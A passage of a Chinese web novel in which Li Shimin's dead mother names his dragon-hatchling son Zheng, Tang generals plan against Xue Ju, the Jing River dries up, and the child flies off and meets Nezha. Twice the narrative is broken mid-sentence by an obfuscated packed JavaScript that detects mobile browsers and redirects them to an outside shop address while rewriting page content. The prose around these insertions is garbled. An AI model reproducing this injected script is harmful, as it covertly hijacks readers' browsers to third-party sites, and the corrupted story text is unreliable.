“嗯。”李世民擦擦眼泪,哽咽道,“我没有想到,还能再见到阿娘……我一直都很思念你……” “其实每年中元,我都会来看你们。三郎也在,只是他去长安看你阿耶与兄姊了。”窦夫人解释道。 还好她没有李世民那么爱哭,不然政崽真的会很尴尬的。 “阿娘见到玄霸了?他还好吗?” “比生前好,至少不必受病痛折磨。” 窦夫人好生豁达,开解孩子的方式也极为聪明,任谁听了都会由衷觉得,死亡没什么可怕。 想想看,活着的时候若是因病重而痛苦,那英年早逝,又怎么不算一种解脱呢? 李世民吸了吸气,略觉安慰。 李玄霸是他同母的三弟,十六岁便因病去世,真的太早太早了。 李家比较重嫡,这其中一半的原因,得归功于李渊那位彪悍的姨母——独孤伽罗皇后。 她不仅管她自己丈夫杨坚的下半·身,还顺带辐射所有亲朋加朝堂。 独孤伽罗主政时,官员是否重视正妻与嫡子,甚至直接影响仕途。哪怕是重臣,都会因为这个“轻慢嫡庶”被罢官。 也因此,窦夫人生的好几个孩子,占据了李家九成九的存在感。 除掉李元吉,其他兄弟姐妹的关系还不错,也都很优秀。 “还没有给孩子取名吗?”窦夫人问。 “还没呢,阿耶说等孩子出生了,他要来取。不过阿娘在这里,也可以帮孩子取一个。”李世民捧起手里的崽,殷切地望着她。 这个时候,他显得尤为孩子气了。 政崽按着他的掌心,慢悠悠站起来,忽然有点紧张。 她会给他取什么名字呢? 窦夫人做沉思状,引得一大一小都眼巴巴地看着她。 她忍不住又笑了,斟酌道:“单名为‘政’,如何?” “单名吗?”李世民嘀咕,“大哥的长子是三月出生的,取名叫做‘承宗’,阿耶原本想,顺着这样往下叙的。” “听我的,还是听你阿耶的?”窦夫人轻描淡写地睨他。 现在她真的能居高临下地俯视她高大的儿子了,因为鬼魂能飘起来。 “当然听你的。”李世民不假思索。 家庭地位,一目了然。 “你回去问问无忧,她若是没有意见,那就这么定了。”窦夫人一锤定音。 “好,到时候我写祭文告诉阿娘。” 长孙无忧多半会同意的,她素来善解人意,窦夫人知道,李世民也知道。 政崽的眼睛亮晶晶的,对窦夫人的好感度噌噌上涨。 虽然姓氏不同,但好歹名不用改了,他还是很高兴的。 月光没怎么照进来,他们在昏暗的光线中,絮絮叨叨地说起很多琐碎的事。 李世民的言语最多,不需要窦夫人问起,就碎碎念个不停。 政崽听累了,换了两个姿势,坐一会,再趴一会,托着脸,安安静静地摇摇尾巴。 “你怎么能生出这么乖的孩子来?”窦夫人时不时关切地看过去,戏谑道,“这要是你,从能翻身的月份起,就能在床榻上打几十个滚,再滚到地上,到处乱爬。一眼看不见,你人就没了。” 李世民讪讪一笑:“有吗?” “有啊。等会走路更不得了,多大的院子都不够你玩的,天上飞的,水里游的,地上走的,看见什么你玩什么,今天抓只鸦,明天咬条蛇,后天掐着两只蟾蜍送给你阿姊看……” 咬……蛇?政崽想象了一下,蛇长什么样子来着?这东西也能咬? 李世民眼神飘忽,十分心虚。 “你可不能学你耶耶。”窦夫人与幼崽对话。 政崽认真地点头。 “这孩子也就看着乖罢了,他把蜚吞了的时候,可一点都不乖。”李世民小声告状。 “蜚?” 李世民就把这几天的事说了,重点渲染那毒死草木的蜚和变得超大的神龙上面,绘声绘色的。 “那政儿可立了大功了。”窦夫人夸赞。 政崽喜形于色,露出大大的笑容,尾巴欢快地翘起来。 “我总觉得这不是好的迹象。这种妖兽随意行走人间,散播灾疫,也没人管管。”李世民有点不满。 “你有所不知,天庭和地府,其实和人间的朝堂没什么分别。”窦夫人淡声道,“习惯就好。” 要这么说的话,李世民就恍然大悟了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866470|191767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 都是从杨广祸祸的大隋过来的,只要摘掉对神仙的滤镜,那不就显而易见吗? 妖兽祸乱人间,自然是要处理的,至于什么时候处理,派谁处理,那是要走流程的。 这一来一去,时间就耽误了。至于死多少人,天庭真的在乎这个? “你这几日,可有好好用食?”窦夫人笑问。 “有啊。” “没有。” 哪来的声音? 李世民与窦夫人齐刷刷低头,看向这声音的来处。 政崽眨巴眨巴大眼睛,奶声奶气,但每个字都很清晰地发音:“阿耶,不好好吃饭。” 现学现卖,刚听到的词,他就会用了。 李世民惊叹道:“你会说话?阿娘你看,政儿好聪明!他竟然会说话!” “我听到了。”窦夫人也笑,“他说你不好好吃饭。有这回事吗?” “哪有……” “有。”政崽非常笃定。 李世民愕然,提溜着政崽的尾巴,拎到眼前,怨念道:“你怎么可以拆我的台?” 窦夫人眉头一皱,嗔怪:“快把孩子放下来,你这个做耶耶的,岂能这般胡闹?” 政崽没怎么挣扎,四肢刚悬空,就落回李世民手里,被很安稳地放下来。 他淡定地继续告状:“阿耶,经常不吃饭。” “哪有经常?你不要乱说!我只是生病了吃不下!今日两食,都没有落下……” 李世民很不服,试图跟幼崽争辩。 时人一日两餐三餐的都有,看条件。 窦夫人板着脸,实则在忍笑。 “这么小的孩子,还能说谎不成?你呀,以后要好好吃饭,出征在外,自己照顾好自己,不要仗着年轻,就任性妄为……” 李世民乖乖听着,一句话也不反驳了。 这样被母亲唠叨的时光,从前只觉得寻常,眼下却珍贵得一刻都舍不得错过。 母亲离开他,已经五年了。 她还定格在他十五岁那一年,可他却已经二十岁了。 只是这样看着她,听着她说话,泪水就落了下来。 政崽抬起手,摸了摸额头上的水迹,心里也跟着酸涩难过起来。 “别哭啦,明年我还会来看你。” “去年我都没有看到你。” “都在打仗,不大方便。” “那前年……” “你这孩子。”窦夫人无奈,“那不是怕吓到你吗?” “我才不怕。” “好,你不怕。”窦夫人虚虚地摸摸李世民的脸,解释道,“鬼魂的阴气太重了,我本不该靠得太近……” 政崽举起一只手,骄傲开口:“有我呢。” 他可是很厉害的。区区鬼魂的阴气,他是不会让这个影响李世民,加重父亲病情的。 窦夫人笑开:“多谢政儿。” 政崽心花怒放,即便是在暗夜里,眼睛里也亮着轻盈雀跃的光彩。 他好喜欢窦夫人,她一直夸他。 “二郎,能者多劳,你虽年轻,却比你父亲和兄长,更扛得住大任。无论是李家,还是大唐,都得指望你。你多辛苦,娘在地府,也会为你们祈福。” 她轻声道,“愿你平安凯旋,砥定乾坤,还世间一个太平。” 李世民急急地想握住她的手,可惜什么也没有抓住。 “不是还没到子时吗?” “我还有很重要的事要做。”窦夫人并不拖泥带水,干脆道。 “什么事?” 窦夫人看向了小小的政崽。 11. 政崽:你不会飞吗? “我得去找你外叔祖和舅舅,好圆上政儿的来历。”窦夫人回答,“顺带给你父托个梦。” 李世民的外叔祖,就是窦夫人的叔叔窦抗。 “也就是说,窦家,并没有龙族的血脉。”李世民敏锐地指出。 “那又如何?”窦夫人毫不在意,“我说有,就有。” 政崽的眼里快冒出星星了。 “以后你外叔祖,或是你舅舅,说起窦家什么神龙入梦、感而有孕的故事,你记得圆一下,就说你小时候听我和你外祖父讲过。”她说完便笑了,“这些其实也不用和你交代,你素来颖悟。” “孩儿知道。” 别说母亲和他透了底,即便在一无所知的情况下,他也能和窦抗窦轨打配合。 “父亲那边……” “我让玄霸去……” “阿娘!二哥!”一只鬼魂急吼吼地冲进来,横冲直撞的,跟看见人的金毛小狗似的,就差扭屁股吐舌头了,兴奋得不得了。 政崽刚察觉到陌生气息,对方就闯了过来,直接穿过了李世民的身体,一头撞进桌案。 这就是李玄霸了。 窦夫人生了五个孩子,如今的太子李建成,平阳公主,李世民,李玄霸,还有李元吉。 大家都在长大,只有李玄霸,再也不会长了。 政崽握紧了李世民的手。 鬼魂带来的一阵凉意浸透李世民的骨髓,紧接着暖烘烘的熨帖之感,从和孩子交握的掌心化开,瞬间润至心脉,驱赶了这份突如其来的寒意。 李世民顺手蹭蹭孩子的脸,转身去看肇事者。 永远定格在十六岁的少年鬼魂,不好意思地把脑袋从桌子里拔出来,挠挠头。 “莽莽撞撞的。”窦夫人数落他。 “对不起二哥,我怕来晚了。”李玄霸凑近,伸长脖子,脸都要贴到政崽身上了,“这就是二哥的崽吗?长得真好看。” 政崽还没开始记仇,就打算原谅他了。 “你好呀,我是你叔父李玄霸。初次见面,本来该给你带个礼物的,但你出生得也太早了,我还没有准备好。明年给你带,好不好?” 莽撞鬼笑起来有点像李世民。也许是因为李建成性格不同,李元吉长得太丑,李渊都人过中年了,这些家人里,最像李世民的,就是这个李玄霸。 叽叽喳喳的样子,也挺像。 政崽礼貌寒暄,像模像样地站好,学李世民叉手为礼:“政儿见过叔父,还有……” “这是你祖母。”李世民低声提醒。 “祖母。”幼崽随即唤她。 他的音色很特别,尽管带着幼儿那种奶呼呼的软糯,但听起来依然是纯净的,若周围是静的,可以想见将来会是环佩叮当的幽然响动。 小小年纪,气韵天成。 “哇!他叫我叔父诶!我也是做叔父的人了!”李玄霸欢呼。 “还有承宗呢。”李世民随口道。 “那小子还不会说话呢。夜里闹觉,哇哇大哭,我都没敢进门。” “是你惊扰到他了吧?婴孩八字轻,容易见鬼。” 窦夫人嗔怪着,她一抬手,李玄霸就躲到李世民身后,狗狗祟祟,抱头蹲防。 “对不起嘛,我只是想看看小侄儿长什么样……不是有心要吓他的……” 一看就没少挨打,这动作太熟练了。 政崽撤回刚刚的评价,这只叔父一点也不像李世民,太鲁莽了。 窦夫人倒也没舍得真打,她赶时间,揪了揪李玄霸的耳朵,就把他带走了。 “我赶着去见你舅舅,你早些休息,明日还有很多事要忙。” “阿娘!”李世民情不自禁地追了几步。 “留步。”她从容道,“夜色已深,你若出去,会惊扰你的亲卫。” 他便忍着泪,停下了脚步。 窦夫人没有再回头,带着频频回头挥手的李玄霸,消失在了夜色里。 政崽也向叔父挥挥手,目送他们。 好一会过后,幼崽仰起头,感觉自己快被父亲的眼泪淹了。 好能哭,默不作声的,但脸上全是泪。 政崽就这么瞅着他,小大人似的叹口气,不得不爬到李世民肩头,踮起脚尖,努力把手伸到对方脸上。 软软的小手好像没有骨头似的,如同梨花在月下舒展,抚摸到皮肤上,泛起酥酥的微痒。 “不要哭啦。” 幼崽很费劲地擦去他的泪水,脚尖都踮累了,手心手背都湿漉漉的。 李世民抱着他哭了一阵。政崽露出生无可恋的表情,感觉自己快要被压扁了。 “政儿。” “嗯?” “你都没有好好叫过我。” “哦。”其实刚刚不是已经叫过了吗? “来叫声阿耶听听。”李世民期待。 “唔……”政崽好不容易整理好被弄乱的衣服,在他肩膀上坐下来,两条腿晃啊晃,突然发现自己没穿鞋袜。 “叫阿耶。”李世民戳戳孩子的脚底。 政崽还是不叫。 “不好发音吗?看我,阿——耶——” “哎。”政崽恰到好处地应了一声,不早不晚,就卡在这个拉长的称呼后面。 “你是故意的吧?”李世民一愣,顿时哭笑不得,抹了把脸,百感交集。 与逝去的亲人相逢,再怎么说也是件幸运的事,可他心里沉甸甸的,就算与孩子玩闹,也总忍不住想起自己幼年的时光。 那时候总有父母为他遮风挡雨,转眼间,他也是做了父亲的人了。 他也有他的责任要担。 政崽真的倦了,揉揉眼睛。如果他是普通的人族幼崽,现在其实还在母亲肚子里,过着吃了睡睡了吃的混沌日子呢。 李世民调整了一下心情,尽量平静地带孩子入睡。 政崽不再嫌他太热,逐渐习惯这样趴在父亲心口睡觉的姿势,听他的心跳入眠。 怦怦,怦怦……血月西垂,旭日东升,这漫长的十二个时辰,终于结束了。 “咔嚓咔嚓” 晨起时,李世民好奇地循声望去:“你在吃什么?” 政崽举起一块玄金色的碎片,示意给他看。 “这是你的壳?”他蹲在孩子身边,拈起一片细细打量,问道,“你确定能吃吗?” “嗯嗯。”跟嚼薯片似的,发出脆脆的声音,一片接一片,飞快消失在幼崽口中。 这就有点触及到李世民的知识盲区了。他也没养过龙,不知道到底怎么喂,袁天罡透露得太少,就只能任孩子自己行动。 爱吃啥就吃吧,别饿着就行。 顺便在朝食时,带了碗羊奶,给孩子补充了一下正常的人族食物。 政崽犹犹豫豫,在碗边停留,嗅了嗅,皱起了眉。 “你不喜欢?” 小龙比碗高不了多少,脸看着圆润,实际上浑身能称得上有肉的地方,只有脸颊和屁股,胳膊腿都有点瘦了。 李世民见过李建成家的崽,白白胖胖,胳膊都跟藕节似的,漾出一段一段的肉,手背上也不止一个小酒窝似的坑,活像年画上的胖娃娃。 小婴儿就该胖点吧?自家孩子太瘦,他总疑心是自己没有喂饱。 如今局势艰难,情况实在特殊,他没办法好好养崽,不能不为此挂心。 他舀起一勺温热的羊奶,轻轻吹吹,送到孩子嘴边,鼓励道:“尝一口试试,若真的喝不下去,我再想办法。” 政崽侧首,鹦鹉学舌:“办法?” “这时候找奶娘不大合适,我又不是张苍……” “张苍?”政崽迷惑。 好像在哪听过这个名字? “他活了差不多一百岁,晚年喝人乳,听说延年益寿。” “……” 突然觉得羊奶也不是那么腥了。 政崽很体贴,不欲使李世民为难,试探着舔了一小口。 比清水要浓稠许多,带着热乎乎的奶香,也可以说奶腥味,单看个人感受和偏好了。 政崽的五感比常人敏锐,这种味道便在他的嗅觉和味觉里放大了,有点勉强。 “不喜欢就不喝了,我再给你寻其他的。水牛的奶要淡些,也许你会喜欢。” 政崽就着他的手,慢慢吞吞地啜饮了两口,连一勺都没喝完。 “嗯。” “要不要来点米粥?我看你长牙了。” “好。” 幼崽对米粥的接受度,要高于羊奶。父子俩便交换食物,没有浪费。 李世民目不转睛地看着他,好像看小孩子抱着勺子柄,圆圆的小手握成馒头状,一口一口慢慢吃东西也很稀奇似的。 好圆,从这个角度看过去,简直像没有手指头一样,真就是个雪团子。 出门时,自然要带上孩子。李世民到哪,就把孩子带到哪,开军事会议时也不例外。 “殿下。薛举率军往东南方向去了,怕是要直取长安。我们怎么办?要出城追击吗?” 柴绍问出了所有人都想问的问题。 “不。”李世民果断道,“我们若是追击,那就中了薛举的计了。长安有多重要,我们知道,薛举也知道。倘若他是调虎离山,一旦我们出城去追,他分兵攻城,那我们首尾不能相顾,唯有败而已。——这个计谋我用过,很好用。” 屈突通就是这么被唐军俘虏的。 “话虽如此,但那毕竟是长安。”柴绍担忧道,“陛下若得知我们不去救援, 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“本该是我去的……”李世民颇为遗憾。 “城里不够稳妥,殿下你还是坐镇吧,以免出乱子。”段志玄很明白他的顾虑。 “不要跟薛举打起来,最好不要被发现。如果秦州和泾州撑不住,及时告知我,我们得去救援。” “遵命!” 短暂的会议过后,众将各自去忙,政崽小心地掀开李世民衣襟一角,偷偷向外瞄。 没有外人在了,他才冒出头。 “醒了?”李世民的注意力从地图转移到孩子身上。 “阿耶。” “再叫一声。”李世民挼一把幼崽的脸,很解压。 政崽不叫了,迷迷糊糊地伸了个懒腰,左看看,右看看,接着也学他,把目光投向大大的地图。 “要下来吗?”李世民怕孩子憋闷,换位思考,如果是他的话,整天待在这么小的空间里,早就受不了了。 政崽乖巧点头。 他不是个话很多的孩子,又或者,是周围的环境,让他不得不收敛自己,被迫稳重。 李世民心生怜爱,深觉亏欠,手掌向上放在胸口,孩子就像小狸奴似的,轻轻跳跃到他手心。 大尾巴悠悠垂下来,荡过李世民虎口,软绵绵的,仿佛撒娇。 李世民的手放到地图上,三头身不到的小龙宝宝蹦跶出去,不大稳当,好似随时都会摔倒,歪歪扭扭的,但竟然没有摔。 头大尾巴大,短胳膊短腿,站着像个球,坐着像团糯米糕。 “我们,在哪里?”政崽专心地在地图上寻找坐标。 “这里,高墌城。”李世民指给他看。 “阿娘呢?” “在长安。” “长安在哪里?”幼崽连忙去找。 李世民的手指,化作红外线的点点,吸引着猫猫跟过去。 “好近哦。”他只走了两步呢。 “只是在图上看着近。”李世民失笑,伸手量出一拃长,告诉他,“这么一点,就是四百余里。” “四百里,很远吗?” “得看怎么走。”李世民温和而耐心地和孩子说闲话,“在没有阻碍的情况下,走路可能要二十天,骑马三五天,最快最快,也得两天半。” “若是飞呢?” “你看见禽鸟在天上飞了?”李世民猜测着。 “飞得很快。” 嬴政喜欢暗中观察,只要是醒着的时候,总是会默默地旁观他所能感知到的一切事物。 以李世民为中心,有时是小小的圆,也有时是相对大一点的圆,他的灵识好似风筝飘出去,与飞翔中的鸟儿比个高低。 他看见高高的太阳,也看见低低的月亮,看见路边的白骨,也看见那骨下的野花和花中的蝴蝶。 看上一阵子,他就会本能地想回李世民身边,窝在熟悉的地方,让他很有安全感。 其实他有点想长孙无忧了,只是没好意思说。 若是说出来,父亲不会又要哭吧? 他都快被李世民哭怕了。 “可惜我不是禽鸟,我不会飞。”李世民惋惜。 “你不会飞吗?”孩子惊诧。 “我只是个普通人,普通人都是不会飞的。”李世民笑了,“你看,我没有翅膀。” 政崽茫茫然地思考了几秒,懵懂地抬眼:“那我呢?我也不会飞吗?” 这个问题问得好极了,谁也不知道答案。 政崽思考着这件事,想了十来天。 段志玄送来急报。 “我有一个好消息和一个坏消息。殿下你要听哪个?” 12. 政崽偷偷溜出去了 “一起说吧。”李世民看到他的表情,就知道好消息的占比比较大。 “薛举死了。”段志玄按捺住兴奋,赶紧报告。 “死了?怎么死的?”李世民一愣,“算算脚程,他应该到泾州了。” 大军开动,速度并没有多快,军队里的步兵辅兵加一堆搞运输辎重的,都混在一起,薛举就算想甩,也得担心孤军深入的风险。 “病死的。”段志玄面色古怪,“听说是和殿下你差不多的症状。” 李世民恍然,疫病面前,人人平等,他会染病,薛举当然也会,他年轻身体好扛过来了,薛举没扛过来,直接死了。 好极了。 “如果是真的,薛举一死,那秦军也就不足为惧了。” 政崽听着,不满地想,“秦军”两个字好刺耳啊,刺得他浑身不自在。 “薛举的儿子薛仁杲,残暴不仁,虐杀俘虏,将不肯归降的人架在火上烤,割肉分给将士吃。其人好杀戮,每每攻克一城,就筑京观,刑逼当地富商以求财宝……”[1] 李世民娓娓道来,随即摇头,语气笃定,“薛仁杲与诸将多有不和,我们只要再等一等,必会有秦军将领来投。” 政崽不开心。好讨厌,就非得用“秦军将领”这种说法吗? 段志玄很信服他的判断:“天意如此,连上天都很眷顾我们唐军,下次交锋,就能一雪前耻了。” “不急,如今形势逆转,秦军内乱将起,人心惶惶,拖得越久,敌人越乱。” 李世民打防守反击很有一套,擅长抓住敌方漏洞,损耗敌人士气,在最恰当的时候,给予对手致命一击。 通常一击即中,绝不给敌人卷土重来的机会。 “薛举死了,还能有坏消息?”李世民疑惑。 “泾水枯了。”段志玄弱声道。 “什么?”李世民一惊。 “泾水,枯竭了。”段志玄声音更小,看着底气不足,“若不是亲眼所见,我也不信。” 且不说泾水贯穿关中,长约千里,七月都还没过,这个夏季的降雨足以让泾水暴涨,怎么可能枯呢? 李世民下意识想到了那只蜚。 “什么时候的事?枯成什么样了?” “我追踪薛举,看到泾水时,就已经在枯竭了。”段志玄道,“岸边的水位每日都在下降,铁牛已经完全露出来了,百姓取水灌溉已成了难事。” “是逐日下降的?” “是逐日。” “每日降多少?” “一尺。” 一天降一尺,十天就是一丈,浅水处的水位根本不足一丈,不需要十天,就干到能看见河底的淤泥了。 旱灾之年,也不过如此了。 无数农田,岌岌可危。 “州县的官吏和水边的百姓怎么说?” “他们都说水里有妖怪,才会导致泾水枯竭的。”段志玄也犯嘀咕,“我本来是不信的,但是眼见一场大雨过后,水面不增反降,着实反常。” 水中蚊虫引起疟疾,还能说是正常现象,这泾水雨后枯竭可是大大的天灾,怎么也说不过去,怀疑有妖怪,太合理了。 一切反常皆为妖。 李世民想起很多年前,他在《山海经》书里文字旁画画玩的时光,虽谈不上过目不忘,但他的记性也很好,所以他很清楚地记得,书上说—— “有兽焉,其状如牛而白首,一目而蛇尾,其名曰蜚。行水则竭,行草则死,见则天下大疫。”[2] 可是那只蜚,不是已经死了吗?又或者,不止一只? 李世民沉吟许久,决定亲自去察看泾水。 刚出门,就撞上了屈突通。 屈突通是去年兵败被俘的,现在在大唐这边任兵部尚书,比李世民大出了四十岁,是一枚坚毅的老将。 他刚从长安匆匆过来,带着李渊的敕令,把刘文静殷开山革职,以儆效尤。 李世民自然不会反对,接了这道敕令,然后与屈突通详细说起高墌城、薛举和泾水的情报。 “将军来得正好,麻烦将军替我守一下高墌城,若有来投奔的将领,也请帮我接收,好好安抚。接下来对战薛仁杲,很快就用得上他们了。” 屈突通猝不及防,愕然道:“殿下不是还在病中吗?” “早就好了。”李世民精神抖擞,笑眯眯地指指柴绍,“不信你问他。” 屈突通严肃地看向柴绍,后者支支吾吾:“差不多……算好了吧?” “什么叫差不多?”李世民不服。 “殿下,孙神医让童子送药丸过来了。他说太忙,抽不开身,嘱咐殿下按时吃。” 庞玉走过来,幽默地插了句嘴,送上一个小瓷瓶,在李世民幽幽的目光里,若无其事地退下。 怎么还带当面拆台的? 屈突通沉稳地反驳:“泾水枯竭,若是天灾,殿下你去了也无用;若是妖祸,殿下你去了更无用。” “这得先去看看才知道吧?”李世民不赞成。 “薛举死了,薛仁杲却还在,秦军盘踞在泾州,臣不能让殿下犯这个险。” “泾水是关中的命脉……” “事有轻重缓急,请殿下先退敌。”屈突通道,“泾水附近多的是庙宇,这么大的事,自然有百姓祈愿,也自然有龙王土地等去管,同殿下你有什么关系?难不成殿下你能降妖?” 李世民:“……” 他大概不能,但是他家崽很厉害! 不过他明白屈突通的顾虑,也不好再坚持,只能先对付薛仁杲。 果然不出李世民所料,薛仁杲那边开始内乱,很快就有两员将领梁胡郎与牟君才主动投降,不仅带来了敌方实时的情报,也让薛军那边人心更乱了。 李世民惯例友好接待了投降的将领,和蔼可亲地在对话里获得自己想要的信息。 “是决战的时候了吗?”柴绍跃跃欲试。 “薛仁杲粮草不足,我再耗他半月,让他连水都没得喝。”李世民说完,忽然想到一件事。 高墌城的水源也来自泾水,怎么一点问题都没有? 他问出口的时候,众将都很迷惑。 “不知道啊。” “因为城里水井很多?” “泾水都枯了,水井多有什么用?水井的水哪来的?” “可能是城里有女娲庙吧?女娲娘娘保佑。” “泾水还有龙王呢。” “龙王一听就没有女娲娘娘厉害。” 众人莫衷一是。 毕竟这种玄学问题,大家都一头雾水。 李世民抽空去问了比较可靠的孙思邈,医者手上捻着药草,笑道:“城里确有女娲庙,已然很多年了,听闻很灵。” “是这个缘故吗?”李世民心一动。 “不好说。” “先生不是修道之士?” “殿下看我给人治病,用的是药草还是符水?” “药草。” “那就是了。”孙思邈很淡然,“等我哪天用符水起死回生的时候,殿下再来与我谈论神祇的事吧。” 晚间带崽睡觉的时候,孩子小声问:“你想去看泾水吗?我可以帮忙。” 李世民趁他不注意,捏了一把大尾巴,奇怪道:“你怎么没有鳞片?” “不要捏我尾巴!”政崽气鼓鼓地抢回来。 “我原本是想带你出城,去泾水边看看的,城内没发现异常,不知道外面到底有多严重。这样下去,长安的用水都会受影响。”李世民忧心忡忡。 “长安也会受影响?”政崽急了,“阿娘会没有水喝?” “泾水之于关中,就像人的经脉一样重要。”李世民圈着幼崽的手,放到自己手腕脉搏上。 青紫的血管在皮肤下隐约可见,血气方刚,生命力就旺盛,反之亦然。 政崽似懂非懂,总结道:“坏妖怪,害得阿娘没有水喝?” 李世民忍不住笑了:“是这个道理。” “那我把坏妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16866472|191767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪杀了,不就行了?” “你知道什么叫‘杀’吗?” “把它吃掉。”政崽天真无邪地说着霸道无匹的话,干脆利落。 “我一直都没想通,你是怎么变得那么大,吃完蜚,肚子还这么小的?” 李世民顺手掀起幼崽的衣服,摸了几把小肚子。 圆乎乎,滑嫩嫩的,摸着摸着就拐弯到了后面,揉揉手感更好的屁股。 政崽用尾巴抽他的手,一脸认真:“你去不了,我可以去。” “?”李世民一时没反应过来,“我去不了,你怎么去?” “我是龙。”政崽肯定地点头,对自己的身份表示认可。 “我知道你是龙,但你还没满月呢。” “那我也是龙。”政崽在李世民惊讶的目光里,飘飘悠悠地浮了起来,“龙,都是会飞的。” 哼,他会飞! 李世民绕着崽转悠了一圈,把他翻过来翻过去检查,百思不得其解:“没有翅膀到底是怎么飞的呢?” 政崽被他玩得衣衫不整,最后塞进了床上的披风里。 “入秋了,你需不需要卧被?” “我可以帮忙的。” “你也太小了,万一是大妖怪呢?” “我不怕。” “你不怕,我怕。”李世民掖了一下披风的领口,把小小只的幼崽包在里面,像包住了半个世界。 嬴政便不说话了。 你以为他很乖很听话?不,他只是不想让父亲担心。 该干的事,想干的事,他绝不会轻易放弃的。 三更天之后,政崽悄无声息地从披风底下钻了出去。 心里默念:不要发现我,不要发现我…… 猫猫祟祟,蹑手蹑脚。 逃离披风包裹的时候,还偷偷回头去看了看。嗯,挺好,父亲还在睡觉,没有醒。 这次总算没有被李世民发现并抓住,可喜可贺。 他研究地图研究好几天了,仗着体型小,夜色深,像蒲公英似的,乘着风就飞出了军营。 他也不知道自己是怎么飞起来的,动念的时候就已经离开床了。 似乎是一种奇妙的本能。 风很温柔,轻轻松松地托着他的身体,向上攀升。 初秋的天空显得很高远,漫天的星星灯忽明忽暗,仿佛触手可及。 月牙弯弯,天地都为之一静。 嬴政深深地吸了口气,心也跟着静下来。 有不认识的虫子在草丛里唱歌,单调但富有节奏。 他听了一会,觉得不好听,就没有再停留。 金色的花朵香香的,开得满树都是,飞出去很久,那香味都不散。 他又绕回去,哼哧哼哧折了一大枝,准备回去的时候送给李世民。 几只绿色的光点飞过他耳边,长得好丑,离得越近越丑。 幼崽嫌弃地皱皱脸,抱着比他还高的花枝,继续像气球一样飘啊飘,越飘越远,越飘越高。 想快的时候就快一点,想慢的时候就慢一点,累了就停在树枝上歇一会,吓飞巢里的大鸟和小鸟。 “呱呱嘎嘎” 幼崽不耐烦地把耳边怒骂的乌鸦拍飞,扶着枝条,小心翼翼地坐稳。乌鸦敢怒不敢言,缩在窝里,把小鸟们护在身后。 他的脚下,是一条长长的、枯水的大河。 河边丢着一座木雕的龙,龙周遭有焚烧鞭打的痕迹,歪鼻子吐舌头 ,一副半死不活的样子。 政崽看了很久,才确定那龙不是活的。 他回忆着李世民教他认的地图,不太确定这是不是就是泾水。 正犹豫的当口,忽然听见了一把清亮的声音。 “诶,你是谁家的小龙,巴掌大点就出来乱跑,也不怕被妖怪吃了?” 嬴政抬头望去,半空中悬浮着一位十来岁的小少年,绣带飞彩,锦袍灼夜,唇红齿白,骨秀清妍。[3] 小少年踩着火焰似的金轮,转眼就逼近。 13. 哪吒气急败坏 来者速度太快,迅疾如风,政崽看得一愣一愣的,顿时睁圆了眼睛,谨慎地站了起来。 结果脚下一滑,差点从树枝上掉下去。 “诶诶诶——可不是我撞的!” 极漂亮的总角小少年惊呼一声,掠过半枯的大树,一把抄起幼小的龙崽,连同孩子手里的桂花枝,一起抱在怀里。 火轮儿心随意动,如臂使指,丝滑地在树枝下绕了半圈,飘飘然的衣袂犹如云雾,随之盈起。 好轻,这人轻得像没有重量,比嬴政见过的飞得最快的鸟儿还要敏捷。 “站都站不稳,你不会刚破壳吧?”总角抱怨,“这么小怎么能在外面乱跑,你家大龙呢?” 嬴政犹豫着,要不要推他,软软的小手下意识伸出去,想拒绝陌生人靠近,但觉这人没有恶意,而且可以做个交通工具,便又停了手。 “怎么不说话?你还不会说话?”火轮上的小少年信手抛出个绣球,往枯竭的水底一扔,大声道,“老龙王,出来!” 嬴政的眼睛睁得更大了,好奇地随着那绣球的轨迹望去,一错不错。 干裂的河底被砸出一个大坑,青烟直冒,好一会,凭空钻出一白衣秀士,灰土头脸。 “我道是谁,原来是哪吒三太子大驾。”秀士脸色有点青,强颜欢笑地应酬,拱了拱手。 “这是不是你家崽?”哪吒说这话不过是过个场面,实际上开口的时候,已经准备把孩子抛出去给龙王了。 他的胳膊都抬起来了。 “不是。” “不是?” “真不是。”化为完整人形的龙王模样英气,没有露出半点龙相,仔仔细细端详了一阵子哪吒怀里的崽,表情一言难尽,低声问道,“三太子是从哪拐的龙崽?还是趁早还回去的好。” 哪吒满头问号,气道:“什么叫我拐的?我什么都没干!” 泾水龙王敷衍地点点头,一副“你随便说,我听听就行,你猜我信不信”的神情,继续严肃道:“我观此子年幼,灵韵非常,定是双亲至爱。三太子虽然成神已久,也素来不把我等龙族放在眼里,但三界之中,能者如云,想必三太子也不想重现东海旧事吧?” 哪吒本来只是好心,随手做件善事,没曾想这龙王贴脸开大,说话如此难听,一时便恼了。 “都说了不是我拐的!你这龙王好不讲理!你当我是来寻衅的吗?” 哪吒怒气冲冲,但总归不是一千多年前的顽童,生气归生气,还是有理有据解释道,“我是奉命来捉妖的,这条小龙孤身在岸边,我不过刚刚看到,以为是你们家的,才叫你出来。你可明白?” 龙王将信将疑,看看哪吒,又看看他怀里安静的崽,实在不知道能不能信。 主要是哪吒前科太多了! 龙族长寿,一千多年对他们来说不算什么,当年的事在龙族嘴里口口相传,早就成为了大龙吓唬小龙的不二法宝。 “还哭?再哭哪吒来了!抽你的筋,扒你的皮,割你的肉,边切边吃!” 